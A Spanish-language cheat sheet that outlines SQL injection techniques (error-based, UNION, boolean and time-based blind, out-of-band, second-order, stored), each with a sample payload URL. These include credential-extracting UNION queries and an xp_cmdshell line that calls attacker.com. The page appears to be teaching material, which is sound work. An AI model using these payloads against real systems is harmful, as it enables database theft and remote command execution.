Esquema SQL injection (SQLi)
Last updated
Last updated
Descripción: Utiliza errores de la base de datos para extraer información.
Método: Introducción de sintaxis incorrecta o comandos que generan mensajes de error detallados.
Ejemplo: http://example.com/index.php?id=1'
Descripción: Utiliza la cláusula UNION
para combinar resultados de múltiples consultas.
Método: Construcción de una consulta UNION SELECT
para extraer datos adicionales.
Ejemplo: http://example.com/index.php?id=1 UNION SELECT username, password FROM users--
Descripción: Usa consultas que devuelven resultados booleanos (verdadero o falso) y observa las respuestas de la aplicación.
Método: Introducción de consultas condicionales para evaluar las diferencias en las respuestas.
Ejemplo: http://example.com/index.php?id=1 AND 1=1--
(verdadero) vs. http://example.com/index.php?id=1 AND 1=2--
(falso)
Descripción: Usa condiciones en la consulta para provocar cambios en la respuesta de la aplicación.
Método: Condiciones que resultan en diferentes contenidos de página o redirecciones.
Ejemplo: http://example.com/index.php?id=1 AND SUBSTRING((SELECT username FROM users WHERE role='admin'), 1, 1)='a'--
Descripción: Usa consultas que provocan retrasos en las respuestas si una condición es verdadera.
Método: Funciones como SLEEP()
o BENCHMARK()
para medir tiempos de respuesta.
Ejemplo: http://example.com/index.php?id=1; IF(1=1, SLEEP(5), 0)--
Descripción: Usa condiciones en la consulta para provocar errores específicos que revelen información.
Método: Introducción de condiciones que resulten en errores (por ejemplo, división por cero) si la condición es verdadera.
Ejemplo: http://example.com/index.php?id=1 AND (SELECT CASE WHEN SUBSTRING(username,1,1)='a' THEN TO_CHAR(1/0) ELSE NULL END FROM users WHERE username='administrator') IS NOT NULL--
Descripción: Utiliza canales alternativos para extraer datos cuando las respuestas directas no están disponibles.
Método: Envía consultas SQL que provocan solicitudes DNS o HTTP a un servidor controlado por el atacante.
Ejemplo: http://example.com/index.php?id=1; exec master..xp_cmdshell 'nslookup attacker.com'--
Descripción: Inserta un payload malicioso que se ejecuta más tarde cuando otra operación SQL accede a los datos.
Método: Introducción de datos maliciosos en un formulario que luego son utilizados por otra parte del sistema.
Ejemplo: Un atacante introduce un payload en el campo de registro de usuario, y luego ese payload se ejecuta cuando un administrador revisa los registros.
Descripción: Similar a la inyección de segundo orden, el atacante introduce código malicioso que se almacena en la base de datos y se ejecuta cuando la aplicación web recupera y procesa esos datos.
Método: Se aprovecha de datos almacenados en la base de datos que se utilizan en consultas SQL.
Ejemplo: Un mensaje de foro que incluye una carga maliciosa que se ejecuta cuando se muestra en una página.